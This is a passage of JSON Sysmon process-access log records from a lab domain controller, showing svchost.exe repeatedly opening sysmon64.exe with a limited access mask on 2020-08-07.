11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 